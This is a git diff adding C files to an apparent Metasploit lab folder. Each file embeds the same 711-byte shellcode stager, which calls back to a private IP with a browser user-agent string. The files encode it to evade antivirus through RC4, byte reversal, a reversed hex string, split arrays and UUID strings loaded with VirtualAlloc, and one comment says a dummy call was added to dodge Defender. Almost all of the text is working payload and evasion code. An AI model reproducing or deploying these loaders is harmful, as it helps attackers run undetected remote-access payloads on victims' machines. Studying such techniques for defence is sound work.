0x53, 0xaf, 0x8d, 0xf3, 0x7a, 0xd5, 0xdf, 0xc9, 0x1e, 0x79, 0x4f, 0x4e, 0xe8, 0x99, 0xcc, 0x75, 0xd4, 0x9, 0x12, 0xc8, 0xff, 0xf1, 0x9b, 0x31, 0xc2, 0x77, 0x89, 0x8f, 0x9b, 0x11, 0x1c, 0xab, 0xd, 0x7b, 0xa8, 0x33, 0xab, 0x9a, 0xc7, 0x57, 0xe, 0xaf, 0x16, 0x68, 0x9a, 0x83, 0x33, 0xff, 0x64, 0x5e, 0xea, 0xb9, 0xcc, 0xcd, 0x77, 0xc1, 0x2f, 0x71, 0x40, 0xcf, 0x4a, 0xdd, 0xe6, 0x5a, 0xe2, 0x40, 0x15, 0xf7, 0x6c, 0xe0, 0x79, 0xc9, 0xd8, 0xc0, 0xab, 0x78, 0x9a, 0xef, 0x62, 0xda, 0x83, 0x3d, 0x62, 0xbc, 0x53, 0xff, 0x92, 0x3a, 0xfd, 0x17, 0xf3, 0x2, 0xd3, 0x91, 0xc6, 0xf, 0x95, 0xb9, 0xd5, 0xd6, 0x6d, 0x42, 0x76, 0x1, 0xad, 0xb1, 0xc9, 0xf1, 0xc1, 0xeb, 0x35, 0xa2, 0x92, 0xb2, 0x8e, 0x71, 0xdb, 0x8a, 0x5c, 0xbd, 0x5c, 0xe6, 0x91, 0x66, 0x18, 0xfe, 0x4d, 0x37, 0x4, 0xc5, 0x6e, 0x9e, 0x1e, 0x73, 0xc9, 0x5c, 0x27, 0x47, 0x74, 0xb0, 0x45, 0xba, 0xf, 0x26, 0x9d, 0xad, 0xa, 0x18, 0xa6, 0xf8, 0x2e, 0x29, 0x56, 0x6, 0xd0, 0xcc, 0x38, 0x66, 0x2d, 0x85, 0x9e, 0xee, 0x27, 0x2, 0xe0, 0x8b, 0x29, 0xb9, 0x94, 0xc9, 0x7, 0xa8, 0x4, 0xf5, 0x5, 0x6c, 0xbf, 0x8b, 0x21, 0xbe, 0x21, 0xa5, 0xec, 0x54, 0x9d, 0xdf}; + */ + // declare a variable for our shellcode size + unsigned int shellcode_size = sizeof(shellcode); + + // create a new struct from our key + key.Buffer = (&_key); + key.Length = 16; + + // create a new struct from the shellcode + _data.Buffer = &shellcode; + _data.Length = shellcode_size; + + //SystemFunction033(&data, &key); + SystemFunction033(&_data, &key); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", shellcode[idx]); + } + else + { + printf("0x%02x, ", shellcode[idx]); + } + idx++; + } + +} diff --git a/lab_results/metasploit/reverse_byte_order_work.c b/lab_results/metasploit/reverse_byte_order_work.c new file mode 100644 index 0000000..fe68dd1 --- /dev/null +++ b/lab_results/metasploit/reverse_byte_order_work.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include + + +int main(void) { + + + char reversed_payload [711] = {0xd5, 0xff, 0x56, 0xa2, 0xb5, 0xf0, 0xc2, 0xc7, 0x49, 0x59, 0x0, 0x6a, 0x58, 0xc3, 0x58, 0xd2, 0x75, 0xc0, 0x85, 0xc3, 0x1, 0x48, 0x7, 0x8b, 0x66, 0xb2, 0x74, 0xc0, 0x85, 0x20, 0xc4, 0x83, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe2, 0x89, 0x96, 0x12, 0xba, 0x49, 0xf9, 0x89, 0x49, 0x0, 0x0, 0x20, 0x0, 0xc0, 0xc7, 0x49, 0xda, 0x89, 0x48, 0xf1, 0x89, 0x48, 0xe7, 0x89, 0x48, 0x53, 0x53, 0x93, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe5, 0x53, 0xa4, 0x58, 0xba, 0x49, 0x0, 0x0, 0x10, 0x0, 0xc0, 0xc7, 0x49, 0x10, 0xe2, 0xc1, 0xd1, 0x89, 0x49, 0x5a, 0x40, 0x6a, 0x59, 0x53, 0x0, 0x0, 0x0, 0x55, 0xe8, 0xcc, 0xeb, 0x2, 0x74, 0xcf, 0xff, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x35, 0xf0, 0x44, 0xba, 0x49, 0x0, 0x0, 0x13, 0x88, 0xc1, 0xc7, 0x48, 0x1f, 0x75, 0xc0, 0x85, 0xd5, 0xff, 0x7b, 0x18, 0x6, 0x2d, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc9, 0x31, 0x4d, 0xf1, 0x89, 0x48, 0x5a, 0x53, 0x5f, 0xa, 0x6a, 0xc6, 0x89, 0x48, 0xd5, 0xff, 0x3b, 0x2e, 0x55, 0xeb, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0x50, 0x0, 0x0, 0x0, 0x0, 0x84, 0x28, 0x2, 0x0, 0xb8, 0x48, 0x53, 0xc9, 0x31, 0x4d, 0x58, 0x41, 0x5a, 0x53, 0xc1, 0x89, 0x48, 0x0, 0x2d, 0x75, 0x78, 0x76, 0x71, 0x6e, 0x4f, 0x4a, 0x54, 0x41, 0x69, 0x52, 0x31, 0x62, 0x56, 0x71, 0x35, 0x58, 0x41, 0x51, 0x74, 0x62, 0x46, 0x39, 0x39, 0x74, 0x50, 0x44, 0x66, 0x58, 0x6a, 0x6c, 0x31, 0x65, 0x74, 0x4d, 0x53, 0x32, 0x42, 0x61, 0x47, 0x5f, 0x37, 0x38, 0x34, 0x6b, 0x69, 0x6e, 0x6c, 0x5f, 0x6a, 0x77, 0x50, 0x42, 0x41, 0x73, 0x70, 0x75, 0x5f, 0x4d, 0x37, 0x4f, 0x7a, 0x6d, 0x63, 0x72, 0x4e, 0x52, 0x59, 0x69, 0x44, 0x77, 0x75, 0x2f, 0x0, 0x0, 0x0, 0x4b, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xc6, 0x9f, 0x89, 0x57, 0xba, 0x49, 0x53, 0x3, 0x6a, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0x0, 0x0, 0x0, 0x50, 0xc0, 0xc7, 0x49, 0xc1, 0x89, 0x48, 0x5a, 0x0, 0x34, 0x33, 0x31, 0x2e, 0x30, 0x39, 0x31, 0x2e, 0x38, 0x36, 0x31, 0x2e, 0x32, 0x39, 0x31, 0x0, 0x0, 0x0, 0x10, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xa7, 0x79, 0x56, 0x3a, 0xba, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc0, 0x31, 0x4d, 0x5a, 0x53, 0x59, 0x0, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x69, 0x72, 0x61, 0x66, 0x61, 0x53, 0x20, 0x30, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x33, 0x31, 0x2f, 0x65, 0x6d, 0x6f, 0x72, 0x68, 0x43, 0x20, 0x29, 0x6f, 0x6b, 0x63, 0x65, 0x47, 0x20, 0x65, 0x6b, 0x69, 0x6c, 0x20, 0x2c, 0x4c, 0x4d, 0x54, 0x48, 0x4b, 0x28, 0x20, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x74, 0x69, 0x4b, 0x62, 0x65, 0x57, 0x65, 0x6c, 0x70, 0x70, 0x41, 0x20, 0x29, 0x34, 0x36, 0x78, 0x20, 0x3b, 0x34, 0x36, 0x6e, 0x69, 0x57, 0x20, 0x3b, 0x30, 0x2e, 0x30, 0x31, 0x20, 0x54, 0x4e, 0x20, 0x73, 0x77, 0x6f, 0x64, 0x6e, 0x69, 0x57, 0x28, 0x20, 0x30, 0x2e, 0x35, 0x2f, 0x61, 0x6c, 0x6c, 0x69, 0x7a, 0x6f, 0x4d, 0x0, 0x0, 0x0, 0x70, 0xe8, 0x53, 0x53, 0xd5, 0xff, 0x7, 0x26, 0x77, 0x4c, 0xc2, 0xc7, 0x49, 0xe1, 0x89, 0x48, 0x56, 0x41, 0x0, 0x74, 0x65, 0x6e, 0x69, 0x6e, 0x69, 0x77, 0xbe, 0x49, 0x53, 0xdb, 0x31, 0x48, 0x5d, 0xff, 0xff, 0xff, 0x4b, 0xe9, 0x12, 0x8b, 0x48, 0x5a, 0x59, 0x41, 0x58, 0xe0, 0xff, 0x52, 0x41, 0x20, 0xec, 0x83, 0x48, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5a, 0x59, 0x5e, 0xd0, 0x1, 0x48, 0x58, 0x41, 0x58, 0x41, 0x88, 0x4, 0x8b, 0x41, 0xd0, 0x1, 0x49, 0x1c, 0x40, 0x8b, 0x44, 0x48, 0xc, 0x8b, 0x41, 0x66, 0xd0, 0x1, 0x49, 0x24, 0x40, 0x8b, 0x44, 0x58, 0xd8, 0x75, 0xd1, 0x39, 0x45, 0x8, 0x24, 0x4c, 0x3, 0x4c, 0xf1, 0x75, 0xe0, 0x38, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0xac, 0xc0, 0x31, 0x48, 0xd6, 0x1, 0x48, 0xc9, 0x31, 0x4d, 0x88, 0x34, 0x8b, 0x41, 0xc9, 0xff, 0x48, 0x56, 0xe3, 0x50, 0x18, 0x48, 0x8b, 0xd0, 0x1, 0x49, 0x20, 0x40, 0x8b, 0x44, 0xd0, 0x1, 0x48, 0x67, 0x74, 0xc0, 0x85, 0x48, 0x0, 0x0, 0x0, 0x88, 0x80, 0x8b, 0x0, 0x0, 0x0, 0x72, 0x85, 0xf, 0x2, 0xb, 0x18, 0x78, 0x81, 0x66, 0xd0, 0x1, 0x48, 0x51, 0x41, 0x3c, 0x42, 0x8b, 0x20, 0x52, 0x8b, 0x48, 0x52, 0xed, 0xe2, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0x20, 0x2c, 0x2, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x48, 0xc9, 0x31, 0x4d, 0x50, 0x72, 0x8b, 0x48, 0x4a, 0x4a, 0xb7, 0xf, 0x48, 0x56, 0x51, 0x20, 0x52, 0x8b, 0x48, 0x18, 0x52, 0x8b, 0x48, 0x60, 0x52, 0x8b, 0x48, 0x65, 0xd2, 0x31, 0x48, 0x52, 0x50, 0x41, 0x51, 0x41, 0x0, 0x0, 0x0, 0xcc, 0xe8, 0xf0, 0xe4, 0x83, 0x48, 0xfc}; + + char shellcode[sizeof(reversed_payload)] = { 0 }; + + // reverse our array of ints + for (int i = 0; i < sizeof(reversed_payload); i++) + { + printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯ + shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1]; + } + + int idx = 0; + while ( idx < sizeof(reversed_payload)) + { + if (idx == (sizeof(reversed_payload) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} + diff --git a/lab_results/metasploit/reverse_hex_string_work.c b/lab_results/metasploit/reverse_hex_string_work.c new file mode 100644 index 0000000..13e9ae5 --- /dev/null +++ b/lab_results/metasploit/reverse_hex_string_work.c @@ -0,0 +1,49 @@ +#include +#include +#include +#include + + +int main(void) { + + + char reversed_hex_string[] = "5dx0,ffx0,65x0,2ax0,5bx0,0fx0,2cx0,7cx0,94x0,95x0,0x0,a6x0,85x0,3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58x0,02x0,4cx0,38x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,2ex0,98x0,69x0,21x0,abx0,94x0,9fx0,98x0,94x0,0x0,0x0,02x0,0x0,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,5ex0,35x0,4ax0,85x0,abx0,94x0,0x0,0x0,01x0,0x0,0cx0,7cx0,94x0,01x0,2ex0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,0x0,0x0,0x0,55x0,8ex0,ccx0,bex0,2x0,47x0,fcx0,ffx0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,0ex0,53x0,0fx0,44x0,abx0,94x0,0x0,0x0,31x0,88x0,1cx0,7cx0,84x0,f1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5x0,35x0,f5x0,ax0,a6x0,6cx0,98x0,84x0,5dx0,ffx0,b3x0,e2x0,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,0x0,0x0,0x0,0x0,48x0,82x0,2x0,0x0,8bx0,84x0,35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0,84x0,0x0,d2x0,57x0,87x0,67x0,17x0,e6x0,f4x0,a4x0,45x0,14x0,96x0,25x0,13x0,26x0,65x0,17x0,53x0,85x0,14x0,15x0,47x0,26x0,64x0,93x0,93x0,47x0,05x0,44x0,66x0,85x0,a6x0,c6x0,13x0,56x0,47x0,d4x0,35x0,23x0,24x0,16x0,74x0,f5x0,73x0,83x0,43x0,b6x0,96x0,e6x0,c6x0,f5x0,a6x0,77x0,05x0,24x0,14x0,37x0,07x0,57x0,f5x0,d4x0,73x0,f4x0,a7x0,d6x0,36x0,27x0,e4x0,25x0,95x0,96x0,44x0,77x0,57x0,f2x0,0x0,0x0,0x0,b4x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,6cx0,f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,0x0,0x0,0x0,05x0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,0x0,43x0,33x0,13x0,e2x0,03x0,93x0,13x0,e2x0,83x0,63x0,13x0,e2x0,23x0,93x0,13x0,0x0,0x0,0x0,01x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0,95x0,0x0,63x0,33x0,e2x0,73x0,33x0,53x0,f2x0,96x0,27x0,16x0,66x0,16x0,35x0,02x0,03x0,e2x0,03x0,e2x0,03x0,e2x0,13x0,33x0,13x0,f2x0,56x0,d6x0,f6x0,27x0,86x0,34x0,02x0,92x0,f6x0,b6x0,36x0,56x0,74x0,02x0,56x0,b6x0,96x0,c6x0,02x0,c2x0,c4x0,d4x0,45x0,84x0,b4x0,82x0,02x0,63x0,33x0,e2x0,73x0,33x0,53x0,f2x0,47x0,96x0,b4x0,26x0,56x0,75x0,56x0,c6x0,07x0,07x0,14x0,02x0,92x0,43x0,63x0,87x0,02x0,b3x0,43x0,63x0,e6x0,96x0,75x0,02x0,b3x0,03x0,e2x0,03x0,13x0,02x0,45x0,e4x0,02x0,37x0,77x0,f6x0,46x0,e6x0,96x0,75x0,82x0,02x0,03x0,e2x0,53x0,f2x0,16x0,c6x0,c6x0,96x0,a7x0,f6x0,d4x0,0x0,0x0,0x0,07x0,8ex0,35x0,35x0,5dx0,ffx0,7x0,62x0,77x0,c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,0x0,47x0,56x0,e6x0,96x0,e6x0,96x0,77x0,ebx0,94x0,35x0,bdx0,13x0,84x0,d5x0,ffx0,ffx0,ffx0,b4x0,9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,14x0,a5x0,95x0,e5x0,0dx0,1x0,84x0,85x0,14x0,85x0,14x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0dx0,1x0,94x0,42x0,04x0,b8x0,44x0,85x0,8dx0,57x0,1dx0,93x0,54x0,8x0,42x0,c4x0,3x0,c4x0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,cax0,0cx0,13x0,84x0,6dx0,1x0,84x0,9cx0,13x0,d4x0,88x0,43x0,b8x0,14x0,9cx0,ffx0,84x0,65x0,3ex0,05x0,81x0,84x0,b8x0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,0x0,0x0,0x0,88x0,08x0,b8x0,0x0,0x0,0x0,27x0,58x0,fx0,2x0,bx0,81x0,87x0,18x0,66x0,0dx0,1x0,84x0,15x0,14x0,c3x0,24x0,b8x0,02x0,25x0,b8x0,84x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0,cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,05x0,27x0,b8x0,84x0,a4x0,a4x0,7bx0,fx0,84x0,65x0,15x0,02x0,25x0,b8x0,84x0,81x0,25x0,b8x0,84x0,06x0,25x0,b8x0,84x0,56x0,2dx0,13x0,84x0,25x0,05x0,14x0,15x0,14x0,0x0,0x0,0x0,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0"; +unsigned int shellcode_len = 711; + + + // reverse the string + char* hex_string = _strrev(reversed_hex_string); + printf("Reversed hex string: %s\n", hex_string); + + // declare a new shellcode byte array + char shellcode[sizeof(reversed_hex_string)] = { 0 }; + + // define an index to keep track of where we're at + int idx = 0; + int count = 0; + const int MAX_TOKENS = sizeof(reversed_hex_string); + char* next_token = NULL; + char* token = strtok_s(hex_string, ",", &next_token); + while (token != NULL && count < MAX_TOKENS) { + shellcode[count++] = strtol(token, NULL, 16); + token = strtok_s(NULL, ",", &next_token); + } + + idx = 0; + while ( idx < shellcode_len) + { + if (idx == (shellcode_len - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; + +} + diff --git a/lab_results/metasploit/twoarray_work.c b/lab_results/metasploit/twoarray_work.c new file mode 100644 index 0000000..897ba12 --- /dev/null +++ b/lab_results/metasploit/twoarray_work.c @@ -0,0 +1,56 @@ +#include +#include + + +int main(void) +{ + + + #define PAYLOAD_SIZE 711 +char evens[356] = {0xfc, 0x83, 0xf0, 0xcc, 0x0, 0x41, 0x41, 0x52, 0x31, 0x65, 0x8b, 0x60, 0x8b, 0x18, 0x8b, 0x20, 0x56, 0xf, 0x4a, 0x48, 0x72, 0x4d, 0xc9, 0x31, 0xac, 0x61, 0x2, 0x20, 0xc1, 0xd, 0x1, 0xe2, 0x52, 0x8b, 0x20, 0x42, 0x41, 0x48, 0xd0, 0x81, 0x18, 0x2, 0x85, 0x0, 0x0, 0x80, 0x0, 0x0, 0x85, 0x74, 0x48, 0xd0, 0x8b, 0x20, 0x1, 0x8b, 0x18, 0xe3, 0x48, 0xc9, 0x8b, 0x88, 0x31, 0x48, 0xd6, 0x31, 0xac, 0xc1, 0xd, 0x1, 0x38, 0x75, 0x4c, 0x4c, 0x8, 0x39, 0x75, 0x58, 0x8b, 0x24, 0x1, 0x66, 0x8b, 0x48, 0x8b, 0x1c, 0x1, 0x41, 0x4, 0x41, 0x41, 0x48, 0xd0, 0x59, 0x41, 0x41, 0x41, 0x48, 0xec, 0x41, 0xff, 0x58, 0x59, 0x48, 0x12, 0x4b, 0xff, 0x5d, 0x31, 0x53, 0xbe, 0x69, 0x69, 0x65, 0x0, 0x56, 0x89, 0x49, 0xc2, 0x77, 0x7, 0xd5, 0x53, 0x70, 0x0, 0x4d, 0x7a, 0x6c, 0x61, 0x35, 0x30, 0x28, 0x69, 0x64, 0x77, 0x20, 0x54, 0x31, 0x2e, 0x3b, 0x57, 0x6e, 0x34, 0x20, 0x36, 0x29, 0x41, 0x70, 0x65, 0x65, 0x4b, 0x74, 0x35, 0x37, 0x33, 0x20, 0x4b, 0x54, 0x4c, 0x20, 0x69, 0x65, 0x47, 0x63, 0x6f, 0x20, 0x68, 0x6f, 0x65, 0x31, 0x31, 0x30, 0x30, 0x30, 0x53, 0x66, 0x72, 0x2f, 0x33, 0x2e, 0x36, 0x59, 0x5a, 0x31, 0x4d, 0xc9, 0x53, 0xba, 0x56, 0xa7, 0x0, 0x0, 0xd5, 0x10, 0x0, 0x31, 0x32, 0x31, 0x38, 0x31, 0x30, 0x31, 0x34, 0x5a, 0x89, 0x49, 0xc0, 0x0, 0x0, 0x31, 0x53, 0x6a, 0x53, 0xba, 0x89, 0xc6, 0x0, 0x0, 0xd5, 0x4b, 0x0, 0x2f, 0x77, 0x69, 0x52, 0x72, 0x6d, 0x4f, 0x4d, 0x75, 0x73, 0x42, 0x77, 0x5f, 0x6e, 0x6b, 0x38, 0x5f, 0x61, 0x32, 0x4d, 0x65, 0x6c, 0x58, 0x44, 0x74, 0x39, 0x62, 0x51, 0x58, 0x71, 0x62, 0x52, 0x41, 0x4a, 0x6e, 0x76, 0x75, 0x0, 0x89, 0x53, 0x41, 0x4d, 0xc9, 0x48, 0x0, 0x28, 0x0, 0x0, 0x50, 0x53, 0xc7, 0xeb, 0x2e, 0xff, 0x48, 0xc6, 0xa, 0x53, 0x48, 0xf1, 0x31, 0x4d, 0xc9, 0x53, 0xc7, 0x2d, 0x18, 0xff, 0x85, 0x75, 0x48, 0xc1, 0x13, 0x0, 0xba, 0xf0, 0xe0, 0x0, 0x0, 0xd5, 0xff, 0x74, 0xeb, 0xe8, 0x0, 0x0, 0x59, 0x40, 0x49, 0xd1, 0xe2, 0x49, 0xc0, 0x10, 0x0, 0xba, 0xa4, 0xe5, 0x0, 0x0, 0xd5, 0x93, 0x53, 0x89, 0x48, 0xf1, 0x89, 0x49, 0xc0, 0x20, 0x0, 0x89, 0x49, 0x12, 0x89, 0x0, 0x0, 0xff, 0x48, 0xc4, 0x85, 0x74, 0x66, 0x7, 0x1, 0x85, 0x75, 0x58, 0x58, 0x0, 0x49, 0xc2, 0xb5, 0x56, 0xd5}; +char odds[355] = {0x48, 0xe4, 0xe8, 0x0, 0x0, 0x51, 0x50, 0x48, 0xd2, 0x48, 0x52, 0x48, 0x52, 0x48, 0x52, 0x51, 0x48, 0xb7, 0x4a, 0x8b, 0x50, 0x31, 0x48, 0xc0, 0x3c, 0x7c, 0x2c, 0x41, 0xc9, 0x41, 0xc1, 0xed, 0x48, 0x52, 0x8b, 0x3c, 0x51, 0x1, 0x66, 0x78, 0xb, 0xf, 0x72, 0x0, 0x8b, 0x88, 0x0, 0x48, 0xc0, 0x67, 0x1, 0x44, 0x40, 0x49, 0xd0, 0x48, 0x50, 0x56, 0xff, 0x41, 0x34, 0x4d, 0xc9, 0x1, 0x48, 0xc0, 0x41, 0xc9, 0x41, 0xc1, 0xe0, 0xf1, 0x3, 0x24, 0x45, 0xd1, 0xd8, 0x44, 0x40, 0x49, 0xd0, 0x41, 0xc, 0x44, 0x40, 0x49, 0xd0, 0x8b, 0x88, 0x58, 0x58, 0x1, 0x5e, 0x5a, 0x58, 0x59, 0x5a, 0x83, 0x20, 0x52, 0xe0, 0x41, 0x5a, 0x8b, 0xe9, 0xff, 0xff, 0x48, 0xdb, 0x49, 0x77, 0x6e, 0x6e, 0x74, 0x41, 0x48, 0xe1, 0xc7, 0x4c, 0x26, 0xff, 0x53, 0xe8, 0x0, 0x0, 0x6f, 0x69, 0x6c, 0x2f, 0x2e, 0x20, 0x57, 0x6e, 0x6f, 0x73, 0x4e, 0x20, 0x30, 0x30, 0x20, 0x69, 0x36, 0x3b, 0x78, 0x34, 0x20, 0x70, 0x6c, 0x57, 0x62, 0x69, 0x2f, 0x33, 0x2e, 0x36, 0x28, 0x48, 0x4d, 0x2c, 0x6c, 0x6b, 0x20, 0x65, 0x6b, 0x29, 0x43, 0x72, 0x6d, 0x2f, 0x33, 0x2e, 0x2e, 0x2e, 0x20, 0x61, 0x61, 0x69, 0x35, 0x37, 0x33, 0x0, 0x53, 0x4d, 0xc0, 0x31, 0x53, 0x49, 0x3a, 0x79, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x39, 0x2e, 0x36, 0x2e, 0x39, 0x2e, 0x33, 0x0, 0x48, 0xc1, 0xc7, 0x50, 0x0, 0x4d, 0xc9, 0x53, 0x3, 0x49, 0x57, 0x9f, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x75, 0x44, 0x59, 0x4e, 0x63, 0x7a, 0x37, 0x5f, 0x70, 0x41, 0x50, 0x6a, 0x6c, 0x69, 0x34, 0x37, 0x47, 0x42, 0x53, 0x74, 0x31, 0x6a, 0x66, 0x50, 0x39, 0x46, 0x74, 0x41, 0x35, 0x56, 0x31, 0x69, 0x54, 0x4f, 0x71, 0x78, 0x2d, 0x48, 0xc1, 0x5a, 0x58, 0x31, 0x53, 0xb8, 0x2, 0x84, 0x0, 0x0, 0x53, 0x49, 0xc2, 0x55, 0x3b, 0xd5, 0x89, 0x6a, 0x5f, 0x5a, 0x89, 0x4d, 0xc9, 0x31, 0x53, 0x49, 0xc2, 0x6, 0x7b, 0xd5, 0xc0, 0x1f, 0xc7, 0x88, 0x0, 0x49, 0x44, 0x35, 0x0, 0x0, 0xff, 0x48, 0xcf, 0x2, 0xcc, 0x55, 0x0, 0x53, 0x6a, 0x5a, 0x89, 0xc1, 0x10, 0xc7, 0x0, 0x0, 0x49, 0x58, 0x53, 0x0, 0x0, 0xff, 0x48, 0x53, 0x48, 0xe7, 0x89, 0x48, 0xda, 0xc7, 0x0, 0x0, 0x49, 0xf9, 0xba, 0x96, 0xe2, 0x0, 0x0, 0xd5, 0x83, 0x20, 0xc0, 0xb2, 0x8b, 0x48, 0xc3, 0xc0, 0xd2, 0xc3, 0x6a, 0x59, 0xc7, 0xf0, 0xa2, 0xff}; + + + char shellcode[PAYLOAD_SIZE] = { 0x00 }; + int twoArrIdx = 0; + int idx = 0; + + while (idx < PAYLOAD_SIZE) + { + // read from the even array + shellcode[idx] = evens[twoArrIdx]; + + // odds will be one byte less than evens if PAYLOAD_SIZE is odd + if ( twoArrIdx == (int)sizeof(odds) ) + { + // do nothing, otherwise we'll read past the end of our array + } + else + { + // read from odd array + shellcode[idx+1] = odds[twoArrIdx]; + + // increment twoArrIdx to move to the next position in the evens and odds arrays + twoArrIdx++; + } + + // we've just added two bytes, so we need to shift two positions instead of one + idx = idx + 2; + } + + idx = 0; + while ( idx < PAYLOAD_SIZE) + { + if (idx == (PAYLOAD_SIZE - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/metasploit/uuidapi_work.c b/lab_results/metasploit/uuidapi_work.c new file mode 100644 index 0000000..aa97ce8 --- /dev/null +++ b/lab_results/metasploit/uuidapi_work.c @@ -0,0 +1,103 @@ +#include +#include +#include +#pragma comment(lib, "Rpcrt4.lib") + + +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + + +int main(void) +{ + + char * UUIDs[] = { + "e48348fc-e8f0-00cc-0000-415141505248", + "4865d231-528b-4860-8b52-18488b522051", + "b70f4856-4a4a-8b48-7250-4d31c94831c0", + "7c613cac-2c02-4120-c1c9-0d4101c1e2ed", + "528b4852-8b20-3c42-4151-4801d0668178", + "0f020b18-7285-0000-008b-808800000048", + "6774c085-0148-44d0-8b40-204901d08b48", + "56e35018-ff48-41c9-8b34-884d31c94801", + "c03148d6-41ac-c9c1-0d41-01c138e075f1", + "244c034c-4508-d139-75d8-58448b402449", + "4166d001-0c8b-4448-8b40-1c4901d0418b", + "58418804-5841-0148-d05e-595a41584159", + "83485a41-20ec-5241-ffe0-5841595a488b", + "ff4be912-ffff-485d-31db-5349be77696e", + "74656e69-4100-4856-89e1-49c7c24c7726", + "53d5ff07-e853-0070-0000-4d6f7a696c6c", + "2e352f61-2030-5728-696e-646f7773204e", + "30312054-302e-203b-5769-6e36343b2078", + "20293436-7041-6c70-6557-65624b69742f", + "2e373335-3633-2820-4b48-544d4c2c206c", + "20656b69-6547-6b63-6f29-204368726f6d", + "33312f65-2e31-2e30-302e-302053616661", + "352f6972-3733-332e-3600-59535a4d31c0", + "53c9314d-4953-3aba-5679-a700000000ff", + "0010e8d5-0000-3931-322e-3136382e3139", + "33312e30-0034-485a-89c1-49c7c0500000", + "c9314d00-5353-036a-5349-ba57899fc600", + "ff000000-e8d5-004b-0000-2f7577446959", + "63724e52-7a6d-374f-4d5f-757073414250", + "6c5f6a77-696e-346b-3837-5f4761423253", + "3165744d-6a6c-6658-4450-743939466274", + "35584151-5671-3162-5269-41544a4f6e71", + "2d757876-4800-c189-535a-41584d31c953", + "0200b848-8428-0000-0000-50535349c7c2", + "3b2e55eb-d5ff-8948-c66a-0a5f535a4889", + "c9314df1-314d-53c9-5349-c7c22d06187b", + "c085d5ff-1f75-c748-c188-13000049ba44", + "00e035f0-0000-ff00-d548-ffcf7402ebcc", + "000055e8-5300-6a59-405a-4989d1c1e210", + "00c0c749-0010-4900-ba58-a453e5000000", + "48d5ff00-5393-4853-89e7-4889f14889da", + "00c0c749-0020-4900-89f9-49ba129689e2", + "00000000-d5ff-8348-c420-85c074b2668b", + "c3014807-c085-d275-58c3-586a005949c7", + "a2b5f0c2-ff56-90d5-9090-909090909090" + }; + + // get the size of our shellcode stored as UUIDs + unsigned int shellcode_size = (unsigned int)sizeof(UUIDs) * 2; + + // Declare a buffer for storing our shellcode + void * buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, 